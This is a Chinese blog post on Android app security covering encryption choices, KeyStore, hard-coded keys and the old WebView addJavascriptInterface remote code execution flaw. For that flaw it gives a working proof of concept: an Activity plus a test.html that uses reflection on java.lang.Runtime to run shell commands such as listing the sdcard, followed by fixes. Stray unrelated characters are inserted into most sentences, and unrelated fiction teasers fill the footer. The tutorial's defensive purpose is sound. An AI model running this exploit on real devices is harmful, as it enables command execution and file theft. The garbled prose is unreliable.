Android 應(yīng)用安全開(kāi)發(fā)總結(jié)

關(guān)于應(yīng)用安全開(kāi)發(fā)的參考文章:
Android保存私密信息-強(qiáng)大的keyStore
Android 應(yīng)用安全開(kāi)發(fā)之淺談加密算法的坑
安全性和隱私權(quán)最佳做法
Android應(yīng)用存儲(chǔ)安全與加固
Android數(shù)據(jù)加密之Des加密

應(yīng)用程序的安全問(wèn)題,大致分為以下4點(diǎn)

  1. 敏感數(shù)據(jù)沒(méi)有加密,容易被竊取斥难。
  2. Android安全漏洞沒(méi)有修補(bǔ),容易被利用攻擊轧叽。
  3. 代碼沒(méi)有混淆礼患,apk安裝包容易被逆向破解豫尽。
  4. 數(shù)據(jù)傳輸沒(méi)有使用https伪节,容易被中間人攻擊瑞信,運(yùn)營(yíng)劫持厉颤。

一、對(duì)敏感數(shù)據(jù)進(jìn)行加密

加密算法比較

常見(jiàn)加密算法分,用途,原理以及比較
數(shù)字簽名是什么凡简?
Android應(yīng)用安全開(kāi)發(fā)之淺談加密算法的坑

  1. 對(duì)稱加密算法逼友。即加密和解密均采用同一把秘密鑰匙
    DES(Data Encryption Standard):數(shù)據(jù)加密標(biāo)準(zhǔn),速度較快秤涩,適用于加密大量數(shù)據(jù)的場(chǎng)合帜乞。
    3DES(Triple DES):是基于DES,對(duì)一塊數(shù)據(jù)用三個(gè)不同的密鑰進(jìn)行三次加密筐眷,強(qiáng)度更高黎烈。
    AES(Advanced Encryption Standard):在密碼學(xué)中又稱Rijndael加密法,是美國(guó)聯(lián)邦政府采用的一種區(qū)塊加密標(biāo)準(zhǔn)匀谣。高級(jí)加密標(biāo)準(zhǔn)照棋,是下一代的加密算法標(biāo)準(zhǔn),速度快武翎,安全級(jí)別高烈炭;
  2. 非對(duì)稱加密算法。采用的加密鑰匙(公鑰)和解密鑰匙(私鑰)是不同的宝恶。
    RSA:由 RSA 公司發(fā)明符隙,是一個(gè)支持變長(zhǎng)密鑰的公共密鑰算法,需要加密的文件塊的長(zhǎng)度也是可變的垫毙;
    DSA(Digital Signature Algorithm):數(shù)字簽名算法霹疫,是一種標(biāo)準(zhǔn)的 DSS(數(shù)字簽名標(biāo)準(zhǔn));
    ECC(Elliptic Curves Cryptography):橢圓曲線密碼編碼學(xué)综芥。
  3. 散列算法更米。散列是信息的提煉,通常其長(zhǎng)度要比信息小得多毫痕,且為一個(gè)固定長(zhǎng)度
    MD5(Message Digest Algorithm 5):是RSA數(shù)據(jù)安全公司開(kāi)發(fā)的一種單向散列算法征峦。
    SHA(Secure Hash Algorithm):可以對(duì)任意長(zhǎng)度的數(shù)據(jù)運(yùn)算生成一個(gè)160位的數(shù)值;

關(guān)于公鑰消请、私鑰

之前一直不理解這個(gè)鑰匙還能用于加密栏笆,本以為鑰匙不是用于解鎖的嗎?還能上鎖臊泰,其實(shí)是我理解錯(cuò)了蛉加,
數(shù)字簽名是什么?

利用KeyStore加密數(shù)據(jù)-Android4.3以上

KeyStore生成的密鑰來(lái)加密和解密敏感信息,包括銀卡號(hào)针饥、密碼厂抽、token等數(shù)據(jù),加密后可以放心的保存在SharedPreferences丁眼、數(shù)據(jù)庫(kù)中而不擔(dān)心被破解筷凤,即使手機(jī)被root導(dǎo)出數(shù)據(jù)也不必?fù)?dān)心。

二苞七、Android 安全漏洞

app 漏洞來(lái)自阿里聚安全

1. Android Webview遠(yuǎn)程代碼執(zhí)行漏洞

這個(gè)漏洞在Android 平臺(tái)4.2之前存在藐守,在后續(xù)的平臺(tái)中不會(huì)存在。利用該漏洞可以執(zhí)行很多后臺(tái)操作蹂风,比如操作手機(jī)的文件系統(tǒng)卢厂,下載病毒到手機(jī)上。
android各版本占比情況惠啄,API<=17的大概占比9.2%慎恒,還有將近10%的比例呀,以上數(shù)據(jù)來(lái)自google官方撵渡。


android各版本占比.png

漏洞的危害

安卓WebView中接口隱患(遠(yuǎn)程代碼執(zhí)行漏洞)與手機(jī)掛馬利用學(xué)習(xí)

實(shí)驗(yàn)驗(yàn)證

實(shí)驗(yàn)?zāi)康模韩@取手機(jī)sdcard命令下的所有文件
準(zhǔn)備:Android4.1.1版本的手機(jī)一臺(tái)
開(kāi)發(fā)工具:Android studio

Paste_Image.png

MainActivity

public class MainActivity extends Activity {
    private WebView mWebView;
    private Uri mUri;
    private String url;
    //String mUrl1 = "file:///android_asset/html/attack_file.html";file:///android_asset/test.html
    String mUrl2 = "file:///android_asset/test.html";//https://security.tencent.com/lucky/check_tools.html
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_web_view);
        mWebView = (WebView)findViewById(R.id.webview);
        mWebView.getSettings().setJavaScriptEnabled(true);

        mWebView.addJavascriptInterface(new JSInterface(), "jsInterface");
        //webView.getSettings().setAllowFileAccessFromFileURLs(true);
        mWebView.setWebChromeClient(new WebChromeClient() {
            @Override
            public boolean onJsAlert(WebView view, String url, String message,
                    JsResult result) {
                //Required functionality here
                return super.onJsAlert(view, url, message, result);
            }
        });
        mWebView.loadUrl(mUrl2);

        File file = new File("/sdcard/tt.txt");
        try {
            file.createNewFile();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    class JSInterface {
        public String onButtonClick(String text) {
            final String str = text;
            runOnUiThread(new Runnable() {
                @Override
                public void run() {
                    Log.e("leehong2", "onButtonClick: text = " + str);
                    Toast.makeText(getApplicationContext(), "onButtonClick: text = " + str, Toast.LENGTH_LONG).show();
                }
            });

            return "This text is returned from Java layer.  js text = " + text;
        }

        public void onImageClick(String url, int width, int height) {
            final String str = "onImageClick: text = " + url + "  width = " + width + "  height = " + height;
            Log.i("leehong2", str);
            runOnUiThread(new Runnable() {
                @Override
                public void run() {
                    Toast.makeText(getApplicationContext(), str, Toast.LENGTH_LONG).show();
                }
            });
        }
    }

}

無(wú)法是否設(shè)置了mWebView.addJavascriptInterface(new JSInterface(), "jsInterface")巧号,只要mWebView.getSettings().setJavaScriptEnabled(true);都會(huì)導(dǎo)致漏洞

test.html

<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
    <script>
        var i=0;
        function getContents(inputStream)
        {
            var contents = ""+i;
            var b = inputStream.read();
            var i = 1;
            while(b != -1)
            {
                var bString = String.fromCharCode(b);
                contents += bString;
                contents += "\n"
                b = inputStream.read();
            }
            i=i+1;
            return contents;
       }

       function execute(cmdArgs)
       {
            for (var obj in window)
            {
                //console.log(window[obj]);
                if ("getClass" in window[obj])
                {
                    alert(window[obj]);
                    return window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
                }
            }
       }
       //echo hello > test.txt
       // var p = execute(["touch","/mnt/sdcard/yu2.txt"]);
      var p = execute(["ls","/mnt/sdcard/"]);
      document.write(getContents(p.getInputStream()));

    </script>

    <script language="javascript">
      function onButtonClick() 
      {
        // Call the method of injected object from Android source.
        var text = jsInterface.onButtonClick("從JS中傳遞過(guò)來(lái)的文本!@驯铡丹鸿!");
        alert(text);
      }

      function onImageClick() 
      {
        //Call the method of injected object from Android source.
        var src = document.getElementById("image").src;
        var width = document.getElementById("image").width;
        var height = document.getElementById("image").height;

        // Call the method of injected object from Android source.
        //https://ss0.bdstatic.com/70cFuHSh_Q1YnxGkpoWK1HF6hhy/it/u=292050601,2473871589&fm=26&gp=0.jpg
        window.jsInterface.onImageClick(src, width, height);
      }

    </script>
</head>

<body>
<p>點(diǎn)擊圖片把URL傳到Java代碼</p>
<img class="curved_box" id="image"
     onclick="onImageClick()"
     width="328"
     height="185"
     src="https://ss0.bdstatic.com/70cFuHSh_Q1YnxGkpoWK1HF6hhy/it/u=292050601,2473871589&fm=26&gp=0.jpg"
     onerror="this.src='background_chl.jpg'"/>
</p>
<button type="button" onclick="onButtonClick()">與Java代碼交互</button>
</body>
</html>

該漏洞主要是由于js可以通過(guò)反射機(jī)制獲取到了java.lang.Runtime,通過(guò)命令來(lái)操作系統(tǒng)棚品。

AndroidManifest.xml

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.scott.myapplication">

    <uses-permission android:name="android.permission.INTERNET"/>
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
    <application
        android:allowBackup="true"
        android:icon="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:roundIcon="@mipmap/ic_launcher_round"
        android:supportsRtl="true">
        <activity
            android:name=".MainActivity"
            android:label="@string/title_activity_main">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>

</manifest>
android-webkit-SearchBoxImpl.png
android-JSInterface.png

實(shí)驗(yàn)結(jié)果

實(shí)驗(yàn)前sdcard文件列表清單.png
獲取到手機(jī)的文件列表

終于驗(yàn)證了webview的漏洞靠欢,一定要找一個(gè)Android4.2.2以下版本的手機(jī),用虛擬機(jī)不容易驗(yàn)證铜跑!

解決漏洞辦法

  • 在Android4.2.2版本之前

    • 如果不需要用到和Javascript進(jìn)行交交互门怪,要禁止與遠(yuǎn)程Javascript交互的接口,刪除searchBoxJavaBridge_接口锅纺,不使用addJavascriptInterface方法掷空。
      mWebView.getSettings().setJavaScriptEnabled(false);
      mWebView.removeJavascriptInterface("searchBoxJavaBridge_");
      mWebView.removeJavascriptInterface("accessibility");
      mWebView.removeJavascriptInterface("accessibilityTraversal");
  • 如果需要和Javascript進(jìn)行交互。
    Android WebView的Js對(duì)象注入漏洞解決方案
    WebView 遠(yuǎn)程代碼執(zhí)行漏洞淺析
    在WebView中如何讓JS與Java安全地互相調(diào)用囤锉。這篇文章所說(shuō)的解決辦法坦弟,還是需要調(diào)用下面三個(gè)方法,才能達(dá)到解決漏洞的目的官地。
    mWebView.removeJavascriptInterface("searchBoxJavaBridge_");
    mWebView.removeJavascriptInterface("accessibility");
    mWebView.removeJavascriptInterface("accessibilityTraversal");

  • 在Android4.2.2版本之后
    采用注解@JavascriptInterface酿傍。


2. 密鑰硬編碼

密鑰硬編碼的幾種形式

Android安全開(kāi)發(fā)之淺談密鑰硬編碼

  1. 密鑰直接明文存在sharedprefs文件中,這是最不安全的驱入。
  • 密鑰直接硬編碼在Java代碼中赤炒,這很不安全氯析,dex文件很容易被逆向成java代碼。
  • 將密鑰分成不同的幾段莺褒,有的存儲(chǔ)在文件中掩缓、有的存儲(chǔ)在代碼中,最后將他們拼接起來(lái)遵岩,可以將整個(gè)操作寫的很復(fù)雜你辣,這因?yàn)檫€是在java層,逆向者只要花點(diǎn)時(shí)間旷余,也很容易被逆向。
  • 用ndk開(kāi)發(fā)扁达,將密鑰放在so文件正卧,加密解密操作都在so文件里,這從一定程度上提高了的安全性跪解,擋住了一些逆向者炉旷,但是有經(jīng)驗(yàn)的逆向者還是會(huì)使用IDA破解的。
  • 在so文件中不存儲(chǔ)密鑰叉讥,so文件中對(duì)密鑰進(jìn)行加解密操作窘行,將密鑰加密后的密鑰命名為其他普通文件,存放在assets目錄下或者其他目錄下图仓,接著在so文件里面添加無(wú)關(guān)代碼(花指令)罐盔,雖然可以增加靜態(tài)分析難度,但是可以使用動(dòng)態(tài)調(diào)式的方法救崔,追蹤加密解密函數(shù)惶看,也可以查找到密鑰內(nèi)容。

密鑰存儲(chǔ)的正確方式

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末纬黎,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子劫窒,更是在濱河造成了極大的恐慌本今,老刑警劉巖,帶你破解...
    沈念sama閱讀 221,820評(píng)論 6 515
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件主巍,死亡現(xiàn)場(chǎng)離奇詭異冠息,居然都是意外死亡,警方通過(guò)查閱死者的電腦和手機(jī)孕索,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 94,648評(píng)論 3 399
  • 文/潘曉璐 我一進(jìn)店門铐达,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái),“玉大人檬果,你說(shuō)我怎么就攤上這事瓮孙√贫希” “怎么了?”我有些...
    開(kāi)封第一講書(shū)人閱讀 168,324評(píng)論 0 360
  • 文/不壞的土叔 我叫張陵杭抠,是天一觀的道長(zhǎng)脸甘。 經(jīng)常有香客問(wèn)我,道長(zhǎng)偏灿,這世上最難降的妖魔是什么丹诀? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 59,714評(píng)論 1 297
  • 正文 為了忘掉前任,我火速辦了婚禮翁垂,結(jié)果婚禮上铆遭,老公的妹妹穿的比我還像新娘。我一直安慰自己,他們只是感情好橡类,可當(dāng)我...
    茶點(diǎn)故事閱讀 68,724評(píng)論 6 397
  • 文/花漫 我一把揭開(kāi)白布荆残。 她就那樣靜靜地躺著,像睡著了一般橄妆。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上祈坠,一...
    開(kāi)封第一講書(shū)人閱讀 52,328評(píng)論 1 310
  • 那天害碾,我揣著相機(jī)與錄音,去河邊找鬼赦拘。 笑死慌随,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的躺同。 我是一名探鬼主播儒陨,決...
    沈念sama閱讀 40,897評(píng)論 3 421
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼笋籽!你這毒婦竟也來(lái)了蹦漠?” 一聲冷哼從身側(cè)響起,我...
    開(kāi)封第一講書(shū)人閱讀 39,804評(píng)論 0 276
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤车海,失蹤者是張志新(化名)和其女友劉穎笛园,沒(méi)想到半個(gè)月后,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體侍芝,經(jīng)...
    沈念sama閱讀 46,345評(píng)論 1 318
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡研铆,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 38,431評(píng)論 3 340
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了州叠。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片棵红。...
    茶點(diǎn)故事閱讀 40,561評(píng)論 1 352
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖咧栗,靈堂內(nèi)的尸體忽然破棺而出逆甜,到底是詐尸還是另有隱情虱肄,我是刑警寧澤,帶...
    沈念sama閱讀 36,238評(píng)論 5 350
  • 正文 年R本政府宣布交煞,位于F島的核電站咏窿,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏素征。R本人自食惡果不足惜集嵌,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,928評(píng)論 3 334
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望御毅。 院中可真熱鬧根欧,春花似錦、人聲如沸端蛆。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 32,417評(píng)論 0 24
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)欺税。三九已至侈沪,卻和暖如春揭璃,著一層夾襖步出監(jiān)牢的瞬間晚凿,已是汗流浹背。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 33,528評(píng)論 1 272
  • 我被黑心中介騙來(lái)泰國(guó)打工瘦馍, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留歼秽,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 48,983評(píng)論 3 376
  • 正文 我出身青樓情组,卻偏偏與公主長(zhǎng)得像燥筷,于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子院崇,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,573評(píng)論 2 359

推薦閱讀更多精彩內(nèi)容

  • Android 自定義View的各種姿勢(shì)1 Activity的顯示之ViewRootImpl詳解 Activity...
    passiontim閱讀 172,290評(píng)論 25 707
  • 自動(dòng)化檢測(cè)360顯微鏡(完全免費(fèi)) http://appscan.#/阿里聚安全(部分收費(fèi))https:...
    極客圈閱讀 8,640評(píng)論 0 18
  • 這篇博客主要來(lái)介紹 WebView 的相關(guān)使用方法底瓣,常見(jiàn)的幾個(gè)漏洞谢揪,開(kāi)發(fā)中可能遇到的坑和最后解決相應(yīng)漏洞的源碼,以...
    Shawn_Dut閱讀 7,238評(píng)論 3 55
  • Guide to BluetoothSecurity原文 本出版物可免費(fèi)從以下網(wǎng)址獲得:https://doi.o...
    公子小水閱讀 8,018評(píng)論 0 6
  • 1我很小氣捐凭,但不和大方人小氣拨扶,如果看見(jiàn)我對(duì)誰(shuí)小氣了告訴他,你該自我監(jiān)察了 2我很低調(diào)茁肠,有時(shí)我低調(diào)到我自己都害怕 3...
    一只羊1237閱讀 137評(píng)論 0 0